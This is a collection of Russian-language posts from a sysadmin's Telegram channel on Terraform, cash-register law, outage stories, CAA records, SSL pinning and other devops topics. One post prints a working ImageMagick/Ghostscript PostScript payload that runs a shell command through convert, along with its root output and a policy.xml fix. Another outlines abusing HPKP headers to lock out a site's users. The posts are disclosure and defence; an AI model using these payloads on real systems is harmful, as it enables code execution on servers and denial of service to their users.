Если вдруг кто пропустил (что маловероятно, но все же). Советую обратить внимание на отличную утилитку от hashicorp - terraform (https://www.terraform.io).

С ее помощью вы сможете полностью описать инфраструктуру, которое использует ваше приложение. Дроплеты на ДО и инстансы ЕС2, dns записи в облачных и локальных сервисах, сервисы в pagerduty, deploy keys на гитхабе, почтовые домены в mailgun.org. В общем теперь все внешние сервисы, которые мы настраивали руками, можно описать с помощью terraform'а и запушить все в гит. Тем самым подойти практически вплотную к понятию infrastructure-as-a-code.

P.S. Список провайдеров внушает: https://www.terraform.io/docs/providers/index.html

Просто оставлю это здесь: https://www.jetbrains.com/research/devecosystem-2018/devops/

"The most frequently used toolset is Docker + Terraform + Ansible"

Знаешь баш? башь!

Наконец-то настал этот день! Мы готовы к старту первого онлайн квеста для айтишников всех мастей! Все анонсы, информация о победителях, награждение и описание прохождения будет публиковаться в отдельном телеграм канале - @oncallgame. Квест стартует на следующей неделе, так что stay tuned 🙂

Немного от себя (все же личный канал). Квест пилили долго на самом деле. Самое трудное было соблюсти баланс между "cat file" и "напишите тут вставку на ассемблере". Но похоже у нас это получилось - никаких специфичных технологий в первом квесте не планируется, все общеизвестно и популярно. Если у вас есть идеи сценариев - пишите мне в личку, будем пилить. Ну и если квест зайдет - обязательно будем делить квесты по уровню сложности, ведь иногда хочется зарыться с головой в код и оттраблшутить ненавистную проблему 🙂

Всех ждем друзья! И если передадите это сообщение своим коллегам, буду вам очень благодарен 🙂

Друзья, всем привет!

Сегодня, в 21:00 MSK стартует наш первый онлайн квест для айтишников! Ровно в это время мы пришлем ссылку по которой можно будет начать квест. А пока расскажем чуть подробнее о том как он будет выглядеть и что придется делать 🙂

На время квеста вы станете системным администратором в одной небольшой компании. Ваша задача - найти виновных в удалении данных на продакшен базе.

Квест будет разбит на уровни, проходя которые вы будете получать небольшие подсказки о том что предстоит сделать дальше, а так же другую полезную информацию. Так что не игнорируйте ввод ключа от уровня - без него вы не сможете пройти дальше. Ключ - это sha1 хеш, выглядит примерно вот так: aaf59e0f92c5430381d9cf05854da9dc36bc51df. Находиться он может где угодно - в /tmp, в приветственном сообщении ssh, в конфигурационных файлах и прочих дебрях файловой системы.

Для старта вам понадобится телеграм и любой ssh клиент - putty, openssh-client или что-то другое. Так же во время квеста придется установить некоторые дополнительные утилиты, они общедоступны и распростра
няются в открытом виде, так что проблем возникнуть не должно.

С чем предстоит столкнуться? Подробно рассказывать не буду, но скажу что практически везде используется стандартный *nix софт, который вы наверняка уже видели тысячу раз. Но есть места где будет находитьс
я что-то самописное, так что не проглядите 🙂

Пока мы не планируем ограничивать данный квест во времени, так что следите за анонсами. Так же напоминаю, что самый ловкий и быстрый из вас получит новенькие airpods 🙂

Полезные ссылки, чтобы не потерялись:

- OnCallGame channel - @oncallgame - канал с анонсами и информацией о квестах - тут же будем шарить информацию о прохождении через какое-то время
- OnCallGame Chat - @oncallgamechat - группа для общения и обсуждения насущных вопросов, связанных с квестом. Давайте только без спойлеров - не портите игру вашим коллегам 🙂 Сюда же можете писать об ошибках и возникающих проблемах - мы находимся рядом и будем проверять такую информацию.
- OnCallGame Site - https://oncallgame.com/ - простой сайт, который перенаправит вас в наш канал - можете использовать для шаринга в соц сетях.

И немного слов от себя - вообще я понял, что пилить айтишный квест с загадками похоже нифига не легче, чем проходить его 🙂 Так что сегодня будет жарко.

И еще один пост про применение кассовых аппаратов. Вообще в последнее время написано достаточно много статей о том, как с ними работать, но я решил описать свой опыт с некоторыми ссылками, которые, возможно вам пригодятся. Тем более я и предположить не мог, что они нам потребуются!

Все что написано ниже - лично мой опыт. Я не являюсь ни юристом, ни бухгалтером, ни налоговиком. При сборе информации я опирался на статьи закона, много общался с бухгалтерами и юристами, с которыми работаю, а так же получил пару инсайтов от знакомых из налоговой. В любом случае используйте написанное ниже на свой страх и риск 🙂 Конечно буду рад комментариям профессиональных юристов. И последний момент перед стартом - картинку я утащил с сайта тинкофф банка (https://oplata.tinkoff.ru/landing/fz). Если ребята не против, то я бы ее оставил, если нет - я ее удалю и нарисую свою.

Итак, погнали. Как немногие из вас знают, мы недавно запустили онлайн курсы для системных администраторов и devops инженеров. И (как ни странно!) оплату мы принимали онлайн от физических лиц. Собственно на этом моменте я и не думал что нам потребуется ККТ, так как с наликом мы не работаем. Но не тут то было!

Кому нужен ККТ? (Спойлер: всем кто принимает деньги от физлиц). Все что касается применения ККТ регулируется 54-ФЗ О применении ККТ (http://docs.pravo.ru/zakon-o-kontrolno-kassovoy-tehnike/). Итак, основные моменты:
1. Статья 1.2: ККТ применяется всеми организациями и ИП, с некоторыми исключениями, прописанными в законе
2. Статья 2: Список исключений - кто может не применять ККТ. Там много всего, но на самом деле навряд ли кто-то из моих читателей под это попадет, разве что вы не занимаетесь вспашкой огородов и распилкой дров.
3. Статья 2 пункт 9 самый интересный: "Контрольно-кассовая техника не применяется при осуществлении расчетов с использованием электронного средства платежа без его предъявления между организациями и (или) индивидуальными предпринимателями". В общем и целом это надо читать так, что ККТ не применяется только при расчетах через банки между ИП и (или) организациями. То есть работая с физиками вы так и так обязаны использовать кассу. Примеры, чтобы оценить масштаб бедствия:
- У вас интернет магазин и вы принимаете оплату только через интернет эквайринг (я.касса, тиньковы и прочие) - вы обязаны использовать ККТ.
- Вы выставили счет физическому лицу и он оплатил его в банке через операциониста и получил от него подтверждающий документ - вы обязаны использовать ККТ.
- Вы оказываете консультационные услуги физ лицу и принимаете оплату через интернет эквайринг - вы обязаны использовать ККТ.

Резюмируя - если вы принимаете деньги от физиков, не важно каким образом - вы обязаны использовать ККТ.

"Да пофиг", - скажете вы и будете немного удивлены штрафами за неиспользование ККТ. Статья 14.5 КоАП РФ (http://docs.pravo.ru/kodeks-koap/?search_query=коап%2B14.5):
- "Неприменение контрольно-кассовой техники" - на ИП от 25% до 50% от суммы платежа, но не менее 10 000 рублей. На организации - от 75% до 100% от суммы платежа, но не менее 30 000 рублей.
- Повторное нарушение в случае если сумма всех расчетов составила более 1 млн рублей - на ИП и организации - административное приостановление деятельности на срок до 90 суток.

В общем проще начать применять ККТ, чем подхватить приостановлении деятельности. В налоговой говорят, что у них планов по проверкам нет и пока не собираются. Но. И очень большое НО - если кто-то из ваших клиентов накатает заявление в налоговую что им не выдали чек - то налоговая будет обязано провести проверку и оштрафовать нарушителей. Так что соизмеряйте риски.

Теперь о том как вся эта вакханалия работает на практике. Смотрим на картинку и разбираем каждый шаг:

1. Собственно момент принятия денежных средств - это может быть интернет эквайринг, терминал для оплаты картами, наличка - в общем что угодно. Главное что вы получили деньги от физического лица.
2. После приема денег любым способом мы обязаны провести этот платеж через ККТ - причем там должны содержаться сведения о товаре, об организации или ИП и еще куча всего - полный список можно найти в статье 4.7 54-ФЗ.
3. ККТ подключается к Оператору Фискальных Данных (ОФД) и передает информацию по каждой транзакции.
4. ОФД отправляет клиенту чек на email или на телефон, а так же передает данные в налоговую.

Ну собственно схема очень простая, но теперь разберем реальный пример о том что же делать интернет магазину, который принимает деньги через яндекс кассу (к примеру).

1. Вам надо приобрести ККТ. Вообще есть два варианта - купить физическую железку и поставить ее в офисе (или дома), либо же можно арендовать ККТ в облаке.
Из облачных я нашел два варианта - http://orangedata.ru и https://online.atol.ru. Вы регистрируетесь, вводите данные, оплачиваете счет и сервис выдает вам все необходимые данные для регистрации в налоговой - заводской номер, адрес размещения и тд. При этом касса будет физически находится в каком-то датацентре (или офисе компании), так что физически вы ее не увидите.
Из физических можете выбирать что угодно из списка на сайте налоговой - https://www.nalog.ru/rn77/related_activities/registries/reestrkkt/, но самое главное - это интеграции. Вы же не хотите пробивать вручную каждую оплату из Я.Кассы? Тогда вам придется найти кассу, которая сможет получать информацию от Яндекс Кассы и автоматически пробивать чек. Мне понравился вариант с МодульКассой - https://modulkassa.ru/. Схема будет выглядеть следующим образом: яндекс касса при приеме платежа передает информацию об этом в модуль кассу, та пробивает чек и передает данные в ОФД. Схема полностью автоматизирована. Единственный момент - если клиент потребует чек на бумажном носителе - придется подойти к кассе, распечатать и отправить почтой.
Как распечатка бумажного чека работает с облачными кассами - пока непонятно. Но облачные кассы вроде тоже неплохо интегрируются с яндекс кассой, к примеру.

2. Вам необходимо приобрести фискальный накопитель к ККТ. По сути это коробочка, которая будет хранить информацию обо всех транзакциях. И вы обязаны хранить ее в течении 5 лет после замены и выдавать проверяющим органам. Есть несколько видов фискальных накопителей - на 13 / 15 / 36 месяцев. Отличаются они по цене (что логично) и по сроку действия ключа для передачи данных в налоговуе органы. Согласно закону ИП на УСН обязаны использовать фискальный накопитель на 36 месяцев. Стоит он порядка 11 тысяч рублей. Касса будет стоить порядка 12 тысяч рублей. Итого полный комплект - 23 000 рублей.

3. Подключение ОФД - выбираете любого понравившегося оператора фискальных данных из зарегистрированных (https://www.nalog.ru/rn77/related_activities/registries/fiscaloperators/) и подключаетесь к нему. Далее нужно настроить кассу для передачи данных в ОФД - делается это на самой кассе в зависимости от модели. Обычно требуется указать адрес, порт, инн офд и наименование офд. У каждого ОФД обычно есть инструкция по подключению той или иной кассы. После этого касса будет передавать информацию обо всех транзакциях.

4. После покупки (или аренды в облаке) - вы обязаны зарегистрировать ККТ в налоговой. Хорошо что это можно сделать в личном кабинете на сайте nalog.ru. Вводим все необходимые данные и регистрируем кассу.

5. На этом этапе все готово - на яндекс кассу приходят деньги, вы вручную пробиваете чек на кассе, касса сохраняет данные на фискальный накопитель и передает данные в ОФД, который в свою очередь пришлет клиенту чек и отправит данные в налоговую. Остался последний шаг - заставить яндекс кассу отправлять данные о платеже напрямую на вашу кассу, чтобы не пришлось пробивать чек в ручном режиме. С модуль кассой можно сделать по инструкции - https://support.modulkassa.ru/help/dlya-internet-magazina/yandeks-kassa/. С другими кассами ищите инструкции на сайте яндекс кассы - https://yandex.ru/support/checkout/merchant/settings.html#settings__online-sales-register

Вот примерно так это и работает. Самое тяжелое - это заинтегрировать все компоненты в единый механизм. Поэтому если вы принимаете платежи с помощью интернет эквайринга от тинькофф - сразу спрашивайте их смогут ли они отправлять информацию о платеже на кассу в автоматическом режиме. Если не смогут - придется выбивать чеки вручную на каждый платеж.

Всем добра и соблюдайте закон 🙂

Совсем забыл рассказать про прикольную штуку из закона о применении ККТ. Они на законодательном уровне потребовали делать бекапы:

Статья 4.5 пункт 2:
"осуществлять резервирование базы фискальных данных и восстанавливать из резервных копий базу фискальных данных в случае их утраты;"

Так что теперь не отвертишься, придется делать и тестировать бекапы 🙂

Недавно прочитал на хабре статью с фейлами в продакшене от компании Pixalate и несколько дней ходил и вспоминал свои собственные факапы и как я учился на своих же ошибках. Странно, но вспомнил только 3 интересные истории, хотя их было явно больше 🙂 Истории разобью на части, а то какой-то лонг рид получился.

История факапов, часть первая. Про репликацию.

Было время, когда я работал в игровой компании и занимался поддержкой инфраструктуры. В качестве базки везде использовался постгрес с tablespac'ами, мастер слейв репликацией и логической репликацией с использованием londiste. Сразу скажу, что с постгресом я только начинал работать и никакого pg_basebackup в тот момент не было.

В общем поступила задача настроить мастер слейв репликацию. Стандартная схема - делаешь start_backup(), копируем файлики, делаем stop_backup и стартуем слейв с валидным recovery.conf. Первый шаг я прошел без проблем, а вот со вторым - копированием файлов - случилась беда. Команду я выдал примерно такую:

rsync -av —delete —progress . <master_server>:/var/lib/postgresql/

Как вы догадались, запустил я ее на слейве, явно рассчитывая засинкать файлы с мастера на слейв. Но что-то пошло не так (ну как что - аргументы source & dest местами перепутал) и пустая слейвовая база заменила собой продакшен. Хорошо что, продакшен был в тот момент не продакшеном, а всего лишь релиз кандидатом - проект не был еще запущен. Но поседел я в тот момент знатно. Зато теперь никогда не забуду порядок аргументов к рсинку.

История факапов, часть вторая. Про локальную сетку.

Переезжали мы одной компанией в отдельно стоящие здание. И сделали там локальную сетку по уму. На каждом этаже поставили по 2 свитча уровня доступа, которые коммутировались на L3 свитчи - уровень ядра, за которыми стояло два роутера с выходом в интернет. Каждый отдел терминировался на свой vlan и L3 свитчи занимались роутингом пакетиков межд vlan'ами. Там еще отдельная сетка под внутренние серваки была.

В общем схема была прекрасна и в какой-то момент решили мы ее потестировать. Ну как потестировать - походить и повырубать жестко свитчи. Каждой железки же по две штуки, все закольцовано, так что вырубив один девайс - второй должен перехватить нагрузку и начать работать. Был составлен план тестов, зафигачен в конфлюенс, согласован со всеми заинтересованными сторонами и поставлен на реализацию в четверг ночью - в районе 22-23 часов вечера, когда офис опустеет от разработчиков.

Ждать в офисе до ночи было лениво и мы погнали в ближайший бар пропустить по паре пива всей командой. Тем более на огонек заглянул наш бывший коллега, с которым мы проработали пару лет. Наобщавшись, мы пошли вырубать нашу сетку, отставая от плана на пару часов.

Вырубили первый свитч уровня доступа - все работает. Врубили обратно, вырубили второй - все работает. Прошлись таким образом по всем этажам - все работает. Рубанули L3 свитч - все работает. Рубанули гейт - не работает. "Хммм", - подумали мы и врубили его обратно. Не работает. Вырубили второй - не работает. Врубили оба - не работает. Локалка видна, интернета нет. Фаерволы все ок - снаты прописаны, с самих гейтов все ок. "Андрюха, беги за пивом", - сказал я ближе к часу ночи. Холодненькое, к сожалению, не слишком помогло и в три ночи мы разъехались домой и оставив локальную сеть отдыхать до утра.

С утра все конечно починили, но осадочек от прекрасной схемы остался и мы ее больше не тестировали. Особенно после пары пива. В чем там была проблема уже толком и не вспомню. Наложилось несколько факторов, таких как вырубленный forwarding, не тот гейт стал мастером из-за keepalived и что-то еще. В общем эта история прибавила седых волос процентов на двадацать.

История факапов, часть третья. BGP.

Эту историю я помню, как будто это было вчера. Хотя это был 2010 год и я устроился на свою первую настоящую работу. Полная ставка, коммерческая компания. Не айтишная правда, но не суть.

Все серваки мы хостили у себя - вебы, почта, базы. Поскольку база была задействована в производстве - то вынести ее во вне не представлялось возможным. Но задача сделать веб сервер доступным 24x7 стояла во весь рост. Игры с dns и ttl особого доверия не внушали, поэтому было принято решение получить себе AS и провайдеро-независимые айпишники. Потом запириться с двумя разными провайдерами по bgp и автоматом переключать каналы в зависимости от доступности. Сказано - сделано. Получили AS, получили PI, законтачились с провадйерами по BGP, выставили приоритет на одного из провайдеров, который был основным и понеслась.

Отличались провайдеры только контрактом - на одном был безлимит за 40к рублей в месяц (если память не изменяет), у другого же был лимит на 10 гб/мес и сколько-то рублей за каждый последующий гб.

В общем прожили мы месяц, все было отлично, пока не пришел счет от второго провадейра на 1 миллион рублей с копейками. Даже не знаю как передать свое состояние на тот момент. До сих пор вспоминаю и коленки дрожат. Проблема оказалась, как не сложно догадаться, во входящем трафике. Исходящий уходил через кого надо, а вто входящий балансился между двумя провайдерами 50 на 50. Опять же не помню как мы это фиксили - community, preferences и что-то в таком духе.

А история закончилась на удивление хорошо и приятно. Провайдер пошел на встречу и подписал задним числом контракт на безлимит. BGP на миллион, чтоб его.

Заканчиваем с факапами, и начинаем ностальгировать. Ребята переписали winamp (помните про такой?) на html 5 + javascript. Посмотреть вживую можно у них на сайте - https://webamp.org, исходники доступны на гитхабе: https://github.com/captbaritone/webamp.

Вообще очень круто, что появляются такие проекты. Я реально перенесся на десяток лет назад, врубил музыку и начал поднимать exim на openbsd (https://www.lissyara.su/articles/openbsd/daemons/exim+cyrus-imapd+mysql/). Ася, openbsd, 11 класс, ух...

А что вы делали под winamp? 🙂

Очень долго метался сегодня между темами, о которых хочу написать. В итоге взгляд упал на nginx unit. О нем и пойдет речь.

Прочитать о проекте подробнее можно тут - https://unit.nginx.org. Но я все же не удержусь и вставлю пару сухих слов. Зато своих. Nginx unit представляет из себя сервер приложений, который можно динамически настраивать через API. На данный момент он поддерживает запуск php, python, ruby, golang и perl кода.

Идея проекта очень простая - научиться запускать приложения, написанные на основных языках с помощью единого интерфейса. Если раньше мы ставили unicorn/puma для ruby, fpm для php, uwsgi для python'а, то теперь это все можно заменить на единый nginx unit.

Зачем - пока не особо понятно. Тем более, если учесть, что все юникорны и прочие прекрасно пакуются в докер и особо ничего не требуют. Дополнительным "против" для меня является попытка объять необъятное. Попытка сделать комбайн, который будет запускать все подряд. Unix way мне явно ближе. Каждое приложение должно отвечать только за свою конкретную зону. Юникорн за руби, а fpm за php. Опять же - перед nginx unit на данный момент требуется ставить nginx, потому что сам юнит не умеет терминировать ssl, да и зачем ему это.

Из плюсов отмечу открытый API, которого нет в бесплатном nginx. Благодаря этому вы можете одним росчерком curl'а поднять параллельно второе приложение (с обновленным кодом) и потом бесшовно переключить весь трафик на него. Раньше приходилось возиться с haproxy и просить его выкинуть из балансировки ноду. Или извращаться кто как умеет. Юникорны и прочие, кстати, умеют делать это из коробки (я про USR2 и graceful reload). Так что плюс такой себе.

Но я никак не могу не отметить, что проект запускает команда, которая развивает и поддерживает nginx. Я им полностью доверяю и, возможно, они смогут удивить всех нас и сделать реально крутой application сервер, который мы сможем использовать повсеместно, не думаю о том что внутри. И забыть наконец про специализированные решения. Поживем - увидим.

Поздравляю всех причастных с праздником системного администратора, друзья! Последняя пятница июля отличное время чтобы отметить этот светлый день 🙂

Но я не удержался и все же решил закинуть небольшую полезняшку перед выходными. Расскажу немного про DNS CAA Record. CAA расшифровывается как Certificate Authority Authorization.

Этот тип записи подробно описан в RFC - https://tools.ietf.org/html/rfc6844 (что вообще логично, да) и позволяет указать какие CA имеют право выпускать сертификаты для вашего домена.

Формат записи: CAA flag tag value, где flag - 0 или 128. Если центр сертификации не поймет поля tag, и flag выставлен в 0 - то CA сам решит можно выпускать сертификат или нет. Если же стоит 128 - CA будет запрещено выпускать сертификат.
TAG - описывает основные параметры - issue - CA, issuewild - CA для wildcard сертификатов и iodef - email на который придет информация о попытке выпуска сертификата.

Примерные записи для домена example.com могут выглядеть следующим образом:

example.com. IN CAA 0 issue "digicert.com"
example.com. IN CAA 0 issuewild ";"
example.com. IN CAA 0 iodef "mailto:vasiliyozerov@gmail.com"

Читать это следуют следующим образом - выпускать сертификат для зоны example.com разрешено CA - digicert.com, wildcard сертификаты запрещено выпускать всем, а в случае попытки выпустить их другими центрами абьюзу кидать на vasiliyozerov@gmail.com.

Надеюсь кому-нибудь пригодится. С праздником!

Кто-то еще пушит креды в гит репозиторий? Мне кажется многие так и делают. Просто мы всегда забываем добавить .env в .gitignore 🙂

Недавно наткнулся на утилитку, которая может вам помочь избежать подобных факапов - просто встройте ее в свой тестовый пайплайн и прогоняйте периодически. Пусть оно лучше всплывет в виде алерта в слаке, нежели в выдаче гугла.

Найти утилитку можно здесь - https://github.com/zricethezav/gitleaks/, в readme описано все более чем подробно, поэтому оставляю чтение документации на ваше усмотрение.

Знаю, что баян, но она мне блин очень нравится.

Потрясающая технология ssl pinning. В двух словах - вы зашиваете отпечаток вашего ssl сертификата в ваш клиент (ios, android, whatever). И ваше приложение каждый раз, помимо стандартной проверки сертификата, будет так же проверять, что зашитый отпечаток сертификата совпадает с тем что отдал сервер.

Зачем это нужно? Все это стало достаточно актуально в сфере последних событий, когда крупные центры сертификации лажали и давали выпускать сертификаты даже тем, кому этого сделать нельзя. Или вообще теряли свой приватный ключ. В общем основная идея - сделать так, чтобы при компроментации CA, атака man-in-the-middle была невозможна.

Данная технология очень активно применяется в интернет банкинге, потому что ребята могут потерять много денег, если вдруг кто-то выпишет себе сертификаты на их домены.

А теперь пара слов про HSTS. Эта технология применяется браузерами для сохранения настроек ssl для конкретного сайта, а так же возможности сделать pinning публичного ключа. В общем то же самое что и для не-браузерных приложений, как описано выше.

Для указания срока действия сертификатов и пина публичных ключей используются http хедеры:
1. Strict-Transport-Security
2. Public-Key-Pins

Первый задает политику и время принудительной работы по https, а второй собственно пинит сертификат.

И тут у меня возникает логичный вопрос. Вот раньше, если кто-то ломанул мой сервер и дропнул базу (ну или стащил базу), то восстановить работоспособность и закрыть дыру достаточно плевое дело. Бекапы и вот это вот все. А сейчас? Хакеру достаточно добавить в ответы nginx'а хедеры, указанные выше, max age выставить в 1 год и прописать левые отпечатки сертификатов. И все - се ля ви. Все браузеры, которые словили этот хедер, будут уже не в состоянии зайти на сайт, выкидывая окно с предупреждением. Единственный вариант в данном случае - сбросить hsts сторадж на стороне клиента. А если их у вас 10к? Нехилый такой удар по конкурентам.

Отличные новости нам приходят от imagemgick'а, друзья! Просто показываю как это работает:

root@server:/tmp# cat > shell.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

root@server:/tmp# convert shell.jpeg out.gif

uid=0(root) gid=0(root) groups=0(root)

convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-13469GmEmsqWiRLpA%d" "-f/tmp/magick-13469JNjF1anuC6Oz" "-f/tmp/magick-134690t_fjcIR9wez" -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
convert: no images defined `out.gif' @ error/convert.c/ConvertImageCommand/3210.

Кто не понял - если зафигачить специально сформированный файлик и подсунуть его convert'у, то можно выполнить произвольный код в системе. Тест выше был проведен на ubuntu 16.04 с apt-get install imagemagick.

Если у вас есть какой-либо бекграунд процессинг картинок imagemagick'ом, особенно тех, которые загружаются пользователями - советую подкорретировать policy.xml и добавить туда:

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

Это конечно не remote code execution в nginx, но все же достаточно популярная тулза, которая используется в бекграунд процессинге. Так что советую обратить на это внимание. Больше информации доступно здесь: http://www.openwall.com/lists/oss-security/2018/08/21/2

Всем привет, друзья! Что-то давно ничего не писал сюда. То времени нет, то настроения. Да и честно признаюсь, давно в технические проблемы не влезал - все больше проектами занимаюсь. А там основное - это команда. Ну и метрики естественно.

В общем я принял волевое решение, что данный канал теперь будет содержать мой поток сознания по всему что со мной происходит. Канал авторский, так что я могу себе такое позволить. Технические темы так же останутся, но не думаю что их будет слишком много. Зато около технической лабуды станет явно больше 🙂

Из последнего хотел поделиться с вами прикольным зацикливанием на ansible, которое предложил один из наших студентов (да-да, мы сейчас проводим обучение):

handlers:
- name: reload nginx
service: name=nginx state=reloaded
notify: restart nginx

- name: restart nginx
service: name=nginx state=restarted
notify: reload nginx

Я вообще ставил на то, что не зациклится, но оно зациклилось. Зачем это нужно? Да фиг его знает, просто понравилось 🙂

И последнее на сегодня. Мои большие друзья, с которыми я работал достаточно долгое время ищут себе крутого инженера, который будет двигать devops практики и создавать инфраструктуру-как-продукт для внутреннего пользования. Чуть больше подробностей ниже.

Список страшных слов: java, php, linux, mysql, clickhouse, prometheus, docker, bash, dns, cdn, ansible, teamcity, CI/CD
Задачи:
- поддержка внутренних пользователей (программисты, манагеры, вот это все)
- разработка, построение и внедрение инфраструктуры как внутреннего продукта
- уверенное движение к chat-ops, no-ops
- Поддержка кучи баз данных (кол-во которых постепенно снижается), надо не бояться Кликхауса.
- Мониторинг всего и вся
- внедрение красивых CI/CD
- тотальная автоматизация, но без фанатизма
- on-call пока сутки через трое 🙂
Деньгами не обидим. Но сильно зависит от ваших талантов и умений
Работа full-remote, в Москве и Питере есть коворкинги, если не хочется сидеть дома 🙂

Откликаться можно сюда: https://airpush.com/job/devops/